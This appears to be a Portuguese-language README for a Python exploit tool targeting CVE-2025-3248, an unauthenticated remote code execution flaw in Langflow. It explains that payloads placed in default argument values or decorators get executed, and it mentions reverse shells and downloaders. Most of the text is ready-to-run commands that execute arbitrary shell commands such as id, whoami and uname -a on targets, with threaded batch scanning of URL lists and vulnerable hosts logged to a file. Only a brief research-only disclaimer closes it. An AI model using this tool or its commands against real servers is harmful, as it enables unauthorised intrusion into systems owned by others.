
Langflow, ao analisar e compilar o "código de validação" enviado pelo usuário via AST, chama `compile()`/`exec()` do Python sem autenticação e sem restrições de sandbox (além de avaliar argumentos padrão de funções e decoradores durante a fase de compilação). Um atacante pode colocar payloads maliciosos em valores padrão de parâmetros ou em decoradores, executando assim instruções arbitrárias no contexto do servidor (reverse shell, downloaders, movimento lateral, etc.).
Uma ferramenta Python para escanear e explorar a vulnerabilidade CVE-2025-3248, que permite execução remota de código (RCE) em aplicações Langflow.
pip install requests
python cve-2025-3248.py http://target:port
python cve-2025-3248.py http://target:port -c "id"
python cve-2025-3248.py -f urls.txt
python cve-2025-3248.py -f urls.txt -c "whoami"
python cve-2025-3248.py -f urls.txt -t 20 --timeout 15 -v
url: URL do alvo (exemplo: http://10.10.10.1:7860)-f, --file: Arquivo contendo a lista de URLs, uma URL por linha-c, --cmd: Comando a ser executado (exemplo: id, whoami)--timeout: Tempo limite de requisição, padrão 10 segundos-t, --threads: Número de threads para escaneamento em lote, padrão 10-v, --verbose: Modo detalhado, exibe a resposta brutapython cve-2025-3248.py http://192.168.1.100:7860
python cve-2025-3248.py http://192.168.1.100:7860 -c "ls -la"
Crie o arquivo targets.txt:
http://192.168.1.100:7860
http://192.168.1.101:7860
http://192.168.1.102:7860
Depois execute:
python cve-2025-3248.py -f targets.txt
python cve-2025-3248.py -f targets.txt -c "uname -a" -t 5
[+] Execução bem-sucedida[-] Falha ou erro[!] Mensagem de aviso[*] Saída informativaOs alvos escaneados com sucesso são salvos no arquivo vulnerable_targets.txt ou vulnerable_targets_{command}.txt.
Esta ferramenta destina-se apenas a fins de pesquisa de segurança e educação. Os usuários são responsáveis pelo seu uso. Testar sistemas sem autorização pode violar leis e regulamentos.